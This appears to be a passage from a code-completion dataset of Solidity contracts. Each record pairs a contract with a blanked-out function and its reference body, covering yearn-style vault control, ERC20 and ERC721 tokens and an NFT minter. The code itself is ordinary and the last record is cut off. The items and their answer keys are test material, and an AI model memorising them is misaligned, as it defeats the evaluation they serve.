emit NewContractManager(newManagerAddress);
| function newManager(address newManagerAddress) public onlyManager
| /**
* @notice Manager set a new manager
*/
function newManager(address newManagerAddress) public onlyManager
|
55353 | afiController | yearn | contract afiController {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public governance;
address public strategist;
address public onesplit;
address public rewards;
mapping(address => address) public vaults;
mapping(address => address) public strategies;
mapping(address => mapping(address => address)) public converters;
mapping(address => mapping(address => bool)) public approvedStrategies;
uint public split = 500;
uint public constant max = 10000;
constructor(address _rewards) public {
governance = msg.sender;
strategist = msg.sender;
onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
rewards = _rewards;
}
function setRewards(address _rewards) public {
require(msg.sender == governance, "!governance");
rewards = _rewards;
}
function setStrategist(address _strategist) public {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setSplit(uint _split) public {
require(msg.sender == governance, "!governance");
split = _split;
}
function setOneSplit(address _onesplit) public {
require(msg.sender == governance, "!governance");
onesplit = _onesplit;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setVault(address _token, address _vault) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(vaults[_token] == address(0), "vault");
vaults[_token] = _vault;
}
function approveStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = true;
}
function revokeStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = false;
}
function setConverter(address _input, address _output, address _converter) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
converters[_input][_output] = _converter;
}
function setStrategy(address _token, address _strategy) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(approvedStrategies[_token][_strategy] == true, "!approved");
//address _current = strategies[_token];
//if (_current != address(0)) {
// Strategy(_current).withdrawAll();
//}
strategies[_token] = _strategy;
}
function earn(address _token, uint _amount) public {
address _strategy = strategies[_token];
address _want = Strategy(_strategy).want();
if (_want != _token) {
address converter = converters[_token][_want];
IERC20(_token).safeTransfer(converter, _amount);
_amount = Converter(converter).convert(_strategy);
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
Strategy(_strategy).deposit();
}
function balanceOf(address _token) external view returns (uint) {
return Strategy(strategies[_token]).balanceOf();
}
function withdrawAll(address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
Strategy(strategies[_token]).withdrawAll();
}
function inCaseTokensGetStuck(address _token, uint _amount) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
IERC20(_token).safeTransfer(msg.sender, _amount);
}
function inCaseStrategyTokenGetStuck(address _strategy, address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
Strategy(_strategy).withdraw(_token);
}
function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) {
uint _balance = IERC20(_token).balanceOf(_strategy);
address _want = Strategy(_strategy).want();
(expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
}
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function yearn(address _strategy, address _token, uint parts) public {<FILL_FUNCTION_BODY> }
function withdraw(address _token, uint _amount) public {
require(msg.sender == vaults[_token], "!vault");
Strategy(strategies[_token]).withdraw(_amount);
}
} | contract afiController {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public governance;
address public strategist;
address public onesplit;
address public rewards;
mapping(address => address) public vaults;
mapping(address => address) public strategies;
mapping(address => mapping(address => address)) public converters;
mapping(address => mapping(address => bool)) public approvedStrategies;
uint public split = 500;
uint public constant max = 10000;
constructor(address _rewards) public {
governance = msg.sender;
strategist = msg.sender;
onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
rewards = _rewards;
}
function setRewards(address _rewards) public {
require(msg.sender == governance, "!governance");
rewards = _rewards;
}
function setStrategist(address _strategist) public {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setSplit(uint _split) public {
require(msg.sender == governance, "!governance");
split = _split;
}
function setOneSplit(address _onesplit) public {
require(msg.sender == governance, "!governance");
onesplit = _onesplit;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setVault(address _token, address _vault) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(vaults[_token] == address(0), "vault");
vaults[_token] = _vault;
}
function approveStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = true;
}
function revokeStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = false;
}
function setConverter(address _input, address _output, address _converter) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
converters[_input][_output] = _converter;
}
function setStrategy(address _token, address _strategy) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(approvedStrategies[_token][_strategy] == true, "!approved");
//address _current = strategies[_token];
//if (_current != address(0)) {
// Strategy(_current).withdrawAll();
//}
strategies[_token] = _strategy;
}
function earn(address _token, uint _amount) public {
address _strategy = strategies[_token];
address _want = Strategy(_strategy).want();
if (_want != _token) {
address converter = converters[_token][_want];
IERC20(_token).safeTransfer(converter, _amount);
_amount = Converter(converter).convert(_strategy);
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
Strategy(_strategy).deposit();
}
function balanceOf(address _token) external view returns (uint) {
return Strategy(strategies[_token]).balanceOf();
}
function withdrawAll(address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
Strategy(strategies[_token]).withdrawAll();
}
function inCaseTokensGetStuck(address _token, uint _amount) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
IERC20(_token).safeTransfer(msg.sender, _amount);
}
function inCaseStrategyTokenGetStuck(address _strategy, address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
Strategy(_strategy).withdraw(_token);
}
function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) {
uint _balance = IERC20(_token).balanceOf(_strategy);
address _want = Strategy(_strategy).want();
(expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
}
<FILL_FUNCTION>
function withdraw(address _token, uint _amount) public {
require(msg.sender == vaults[_token], "!vault");
Strategy(strategies[_token]).withdraw(_amount);
}
} |
require(msg.sender == strategist || msg.sender == governance, "!governance");
// This contract should never have value in it, but just incase since this is a public call
uint _before = IERC20(_token).balanceOf(address(this));
Strategy(_strategy).withdraw(_token);
uint _after = IERC20(_token).balanceOf(address(this));
if (_after > _before) {
uint _amount = _after.sub(_before);
address _want = Strategy(_strategy).want();
uint[] memory _distribution;
uint _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_token).safeApprove(onesplit, 0);
IERC20(_token).safeApprove(onesplit, _amount);
(_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
_after = IERC20(_want).balanceOf(address(this));
if (_after > _before) {
_amount = _after.sub(_before);
uint _reward = _amount.mul(split).div(max);
earn(_want, _amount.sub(_reward));
IERC20(_want).safeTransfer(rewards, _reward);
}
}
| function yearn(address _strategy, address _token, uint parts) public | // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function yearn(address _strategy, address _token, uint parts) public |
45499 | HashMallToken | contract HashMallToken is ERC827Token {
using SafeMath for uint256;
string public name = "HashMall Token";
string public symbol = "HMT";
uint public decimals = 18;
address public wallet = 0xF685Fd097525a3b34cCB17BCcF0bDAD8ABf4A59b; //
constructor () public {
totalSupply_ = 100 * 100000000 * 10 ** decimals;
balances[wallet] = totalSupply_;
}
/**
* Do not allow direct deposits.
*/
function() public{<FILL_FUNCTION_BODY> }
} | contract HashMallToken is ERC827Token {
using SafeMath for uint256;
string public name = "HashMall Token";
string public symbol = "HMT";
uint public decimals = 18;
address public wallet = 0xF685Fd097525a3b34cCB17BCcF0bDAD8ABf4A59b; //
constructor () public {
totalSupply_ = 100 * 100000000 * 10 ** decimals;
balances[wallet] = totalSupply_;
}
<FILL_FUNCTION>
} |
revert();
| function() public | /**
* Do not allow direct deposits.
*/
function() public |
|
2948 | ERC721Token | removeTokenFrom | contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_ = "CryptoFlowers";
// Token symbol
string internal symbol_ = "CF";
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function strConcat(string _a, string _b) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ab = new string(_ba.length + _bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
/**
* @dev Returns an URI for a given token ID
* @dev Throws if the token ID does not exist. May return an empty string.
* @notice The user/developper needs to add the tokenID, in the end of URL, to
* use the URI and get all details. Ex. www.<apiURL>.com/token/<tokenID>
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
string memory infoUrl;
infoUrl = strConcat('https://cryptoflowers.io/v/', uint2str(_tokenId));
return infoUrl;
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require (_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length - 1;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* @dev Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require (_index <= totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {<FILL_FUNCTION_BODY> }
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() public view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() public view returns (string) {
return symbol_;
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
bytes4 constant InterfaceSignature_ERC165 = 0x01ffc9a7;
/*
bytes4(keccak256('supportsInterface(bytes4)'));
*/
bytes4 constant InterfaceSignature_ERC721Enumerable = 0x780e9d63;
/*
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
bytes4(keccak256('tokenByIndex(uint256)'));
*/
bytes4 constant InterfaceSignature_ERC721Metadata = 0x5b5e139f;
/*
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('tokenURI(uint256)'));
*/
bytes4 constant InterfaceSignature_ERC721 = 0x80ac58cd;
/*
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('getApproved(uint256)')) ^
bytes4(keccak256('setApprovalForAll(address,bool)')) ^
bytes4(keccak256('isApprovedForAll(address,address)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'));
*/
bytes4 public constant InterfaceSignature_ERC721Optional =- 0x4f558e79;
/*
bytes4(keccak256('exists(uint256)'));
*/
/**
* @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
* @dev Returns true for any standardized interfaces implemented by this contract.
* @param _interfaceID bytes4 the interface to check for
* @return true for any standardized interfaces implemented by this contract.
*/
function supportsInterface(bytes4 _interfaceID) external pure returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165)
|| (_interfaceID == InterfaceSignature_ERC721)
|| (_interfaceID == InterfaceSignature_ERC721Enumerable)
|| (_interfaceID == InterfaceSignature_ERC721Metadata));
}
function implementsERC721() public pure returns (bool) {
return true;
}
} | contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_ = "CryptoFlowers";
// Token symbol
string internal symbol_ = "CF";
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function strConcat(string _a, string _b) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ab = new string(_ba.length + _bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
/**
* @dev Returns an URI for a given token ID
* @dev Throws if the token ID does not exist. May return an empty string.
* @notice The user/developper needs to add the tokenID, in the end of URL, to
* use the URI and get all details. Ex. www.<apiURL>.com/token/<tokenID>
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
string memory infoUrl;
infoUrl = strConcat('https://cryptoflowers.io/v/', uint2str(_tokenId));
return infoUrl;
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require (_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length - 1;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* @dev Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require (_index <= totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
<FILL_FUNCTION>
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() public view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() public view returns (string) {
return symbol_;
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
bytes4 constant InterfaceSignature_ERC165 = 0x01ffc9a7;
/*
bytes4(keccak256('supportsInterface(bytes4)'));
*/
bytes4 constant InterfaceSignature_ERC721Enumerable = 0x780e9d63;
/*
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
bytes4(keccak256('tokenByIndex(uint256)'));
*/
bytes4 constant InterfaceSignature_ERC721Metadata = 0x5b5e139f;
/*
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('tokenURI(uint256)'));
*/
bytes4 constant InterfaceSignature_ERC721 = 0x80ac58cd;
/*
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('getApproved(uint256)')) ^
bytes4(keccak256('setApprovalForAll(address,bool)')) ^
bytes4(keccak256('isApprovedForAll(address,address)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'));
*/
bytes4 public constant InterfaceSignature_ERC721Optional =- 0x4f558e79;
/*
bytes4(keccak256('exists(uint256)'));
*/
/**
* @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
* @dev Returns true for any standardized interfaces implemented by this contract.
* @param _interfaceID bytes4 the interface to check for
* @return true for any standardized interfaces implemented by this contract.
*/
function supportsInterface(bytes4 _interfaceID) external pure returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165)
|| (_interfaceID == InterfaceSignature_ERC721)
|| (_interfaceID == InterfaceSignature_ERC721Enumerable)
|| (_interfaceID == InterfaceSignature_ERC721Metadata));
}
function implementsERC721() public pure returns (bool) {
return true;
}
} |
super.removeTokenFrom(_from, _tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
ownedTokens[_from].length--;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
| function removeTokenFrom(address _from, uint256 _tokenId) internal | /**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal |
35480 | VUToken | massTransfer | contract VUToken is DetailedERC20, BurnableToken, PausableToken {
using SafeMath for uint256;
uint public constant INITIAL_SUPPLY = 1000000000 * (10**18);
/**
* @dev Constructor
*/
function VUToken() public
DetailedERC20("VU TOKEN", "VU", 18)
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to transfer tokens
* @param _recipients The addresses that will receive the tokens.
* @param _amounts The list of the amounts of tokens to transfer.
* @return A boolean that indicates if the operation was successful.
*/
function massTransfer(address[] _recipients, uint[] _amounts) external returns (bool) {<FILL_FUNCTION_BODY> }
} | contract VUToken is DetailedERC20, BurnableToken, PausableToken {
using SafeMath for uint256;
uint public constant INITIAL_SUPPLY = 1000000000 * (10**18);
/**
* @dev Constructor
*/
function VUToken() public
DetailedERC20("VU TOKEN", "VU", 18)
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
<FILL_FUNCTION>
} |
require(_recipients.length == _amounts.length);
for (uint i = 0; i < _recipients.length; i++) {
require(transfer(_recipients[i], _amounts[i]));
}
return true;
| function massTransfer(address[] _recipients, uint[] _amounts) external returns (bool) | /**
* @dev Function to transfer tokens
* @param _recipients The addresses that will receive the tokens.
* @param _amounts The list of the amounts of tokens to transfer.
* @return A boolean that indicates if the operation was successful.
*/
function massTransfer(address[] _recipients, uint[] _amounts) external returns (bool) |
64711 | BonkNftMinter | _forwardBonkTokens | contract BonkNftMinter is ERC721Full, Ownable, Callable {
using SafeMath for uint256;
// Mapping from token ID to the creator's address.
mapping(uint256 => address) private tokenCreators;
// Counter for creating token IDs
uint256 private idCounter;
// BONK ERC20 token
IERC20 public bonkToken;
// Where to send collected fees
address public feeCollector;
// BONK fee amount with decimals, for example, 1*10**18 means one BONK
uint256 public bonkFee;
// Event indicating metadata was updated.
event TokenURIUpdated(uint256 indexed _tokenId, string _uri);
// Event indicating bonk fee was updated.
event BonkFeeUpdated(uint256 _newFee, uint _timestamp);
constructor(
string memory _name,
string memory _symbol,
address _bonkToken,
address _feeCollector,
uint256 _bonkFee
)
public
ERC721Full(_name, _symbol)
{
bonkToken = IERC20(_bonkToken);
feeCollector = _feeCollector;
bonkFee = _bonkFee;
}
/**
* @dev Checks that the token is owned by the sender.
* @param _tokenId uint256 ID of the token.
*/
modifier onlyTokenOwner(uint256 _tokenId) {
address owner = ownerOf(_tokenId);
require(owner == msg.sender, "must be the owner of the token");
_;
}
/**
* @dev Checks that the caller is BONK token.
*/
modifier onlyBonkToken() {
require(msg.sender == address(bonkToken), "must be BONK token");
_;
}
/**
* @dev callback function that is called by BONK token. Adds new NFT token. Trusted.
* @param _from who sent the tokens.
* @param _tokens how many tokens were sent.
* @param _data extra call data.
* @return success.
*/
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data)
external
onlyBonkToken
returns (bool) {
if (bonkFee > 0) {
uint256 tokensWithTransferFee = _tokens * 100 / 99; // there is 1% fee upon some transfers of BONK
require(tokensWithTransferFee >= bonkFee, "not enough tokens");
_forwardBonkTokens();
}
_createToken(string(_data), _from);
return true;
}
/**
* @dev Adds a new unique token to the supply.
* @param _uri string metadata uri associated with the token.
*/
function addNewToken(string calldata _uri) external {
if (bonkFee > 0) {
require(bonkToken.transferFrom(msg.sender, address(this), bonkFee), "fee transferFrom failed");
_forwardBonkTokens();
}
_createToken(_uri, msg.sender);
}
/**
* @dev Deletes the token with the provided ID.
* @param _tokenId uint256 ID of the token.
*/
function deleteToken(uint256 _tokenId) external onlyTokenOwner(_tokenId) {
_burn(msg.sender, _tokenId);
}
/**
* @dev Allows owner of the contract updating the token metadata in case there is a need.
* @param _tokenId uint256 ID of the token.
* @param _uri string metadata URI.
*/
function updateTokenMetadata(uint256 _tokenId, string calldata _uri) external onlyOwner {
_setTokenURI(_tokenId, _uri);
emit TokenURIUpdated(_tokenId, _uri);
}
/**
* @dev change address of BONK token
* @param _bonkToken address of ERC20 contract
*/
function setBonkToken(address _bonkToken) external onlyOwner {
bonkToken = IERC20(_bonkToken);
}
/**
* @dev change address of where collected fees are sent
* @param _feeCollector address where to send the fees
*/
function setFeeCollector(address _feeCollector) external onlyOwner {
feeCollector = _feeCollector;
}
/**
* @dev change BONK fee
* @param _bonkFee new fee in BONK (with decimals)
*/
function setBonkFee(uint _bonkFee) external onlyOwner {
bonkFee = _bonkFee;
emit BonkFeeUpdated(_bonkFee, now);
}
/**
* @dev allows withdrawal of ETH in case it was sent by accident
* @param _beneficiary address where to send the eth.
*/
function withdrawEth(address payable _beneficiary) external onlyOwner {
_beneficiary.transfer(address(this).balance);
}
/**
* @dev allows withdrawal of ERC20 token in case it was sent by accident
* @param _tokenAddress address of ERC20 token.
* @param _beneficiary address where to send the tokens.
* @param _amount amount to send.
*/
function withdrawERC20(address _tokenAddress, address _beneficiary, uint _amount) external onlyOwner {
IERC20(_tokenAddress).transfer(_beneficiary, _amount);
}
/**
* @dev Gets the current fee in BONK.
* @return BONK fee.
*/
function getBonkFee() public view returns (uint256) {
return bonkFee;
}
/**
* @dev Gets the creator of the token.
* @param _tokenId uint256 ID of the token.
* @return address of the creator.
*/
function tokenCreator(uint256 _tokenId) public view returns (address) {
return tokenCreators[_tokenId];
}
/**
* @dev Internal function for setting the token's creator.
* @param _tokenId uint256 id of the token.
* @param _creator address of the creator of the token.
*/
function _setTokenCreator(uint256 _tokenId, address _creator) internal {
tokenCreators[_tokenId] = _creator;
}
/**
* @dev Internal function creating a new token.
* @param _uri string metadata uri associated with the token
* @param _creator address of the creator of the token.
*/
function _createToken(string memory _uri, address _creator) internal returns (uint256) {
uint256 newId = idCounter;
idCounter++;
_mint(_creator, newId);
_setTokenURI(newId, _uri);
_setTokenCreator(newId, _creator);
return newId;
}
/**
* @dev Internal function for forwarding collected fees to the fee collector.
*/
function _forwardBonkTokens() internal {<FILL_FUNCTION_BODY> }
} | contract BonkNftMinter is ERC721Full, Ownable, Callable {
using SafeMath for uint256;
// Mapping from token ID to the creator's address.
mapping(uint256 => address) private tokenCreators;
// Counter for creating token IDs
uint256 private idCounter;
// BONK ERC20 token
IERC20 public bonkToken;
// Where to send collected fees
address public feeCollector;
// BONK fee amount with decimals, for example, 1*10**18 means one BONK
uint256 public bonkFee;
// Event indicating metadata was updated.
event TokenURIUpdated(uint256 indexed _tokenId, string _uri);
// Event indicating bonk fee was updated.
event BonkFeeUpdated(uint256 _newFee, uint _timestamp);
constructor(
string memory _name,
string memory _symbol,
address _bonkToken,
address _feeCollector,
uint256 _bonkFee
)
public
ERC721Full(_name, _symbol)
{
bonkToken = IERC20(_bonkToken);
feeCollector = _feeCollector;
bonkFee = _bonkFee;
}
/**
* @dev Checks that the token is owned by the sender.
* @param _tokenId uint256 ID of the token.
*/
modifier onlyTokenOwner(uint256 _tokenId) {
address owner = ownerOf(_tokenId);
require(owner == msg.sender, "must be the owner of the token");
_;
}
/**
* @dev Checks that the caller is BONK token.
*/
modifier onlyBonkToken() {
require(msg.sender == address(bonkToken), "must be BONK token");
_;
}
/**
* @dev callback function that is called by BONK token. Adds new NFT token. Trusted.
* @param _from who sent the tokens.
* @param _tokens how many tokens were sent.
* @param _data extra call data.
* @return success.
*/
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data)
external
onlyBonkToken
returns (bool) {
if (bonkFee > 0) {
uint256 tokensWithTransferFee = _tokens * 100 / 99; // there is 1% fee upon some transfers of BONK
require(tokensWithTransferFee >= bonkFee, "not enough tokens");
_forwardBonkTokens();
}
_createToken(string(_data), _from);
return true;
}
/**
* @dev Adds a new unique token to the supply.
* @param _uri string metadata uri associated with the token.
*/
function addNewToken(string calldata _uri) external {
if (bonkFee > 0) {
require(bonkToken.transferFrom(msg.sender, address(this), bonkFee), "fee transferFrom failed");
_forwardBonkTokens();
}
_createToken(_uri, msg.sender);
}
/**
* @dev Deletes the token with the provided ID.
* @param _tokenId uint256 ID of the token.
*/
function deleteToken(uint256 _tokenId) external onlyTokenOwner(_tokenId) {
_burn(msg.sender, _tokenId);
}
/**
* @dev Allows owner of the contract updating the token metadata in case there is a need.
* @param _tokenId uint256 ID of the token.
* @param _uri string metadata URI.
*/
function updateTokenMetadata(uint256 _tokenId, string calldata _uri) external onlyOwner {
_setTokenURI(_tokenId, _uri);
emit TokenURIUpdated(_tokenId, _uri);
}
/**
* @dev change address of BONK token
* @param _bonkToken address of ERC20 contract
*/
function setBonkToken(address _bonkToken) external onlyOwner {
bonkToken = IERC20(_bonkToken);
}
/**
* @dev change address of where collected fees are sent
* @param _feeCollector address where to send the fees
*/
function setFeeCollector(address _feeCollector) external onlyOwner {
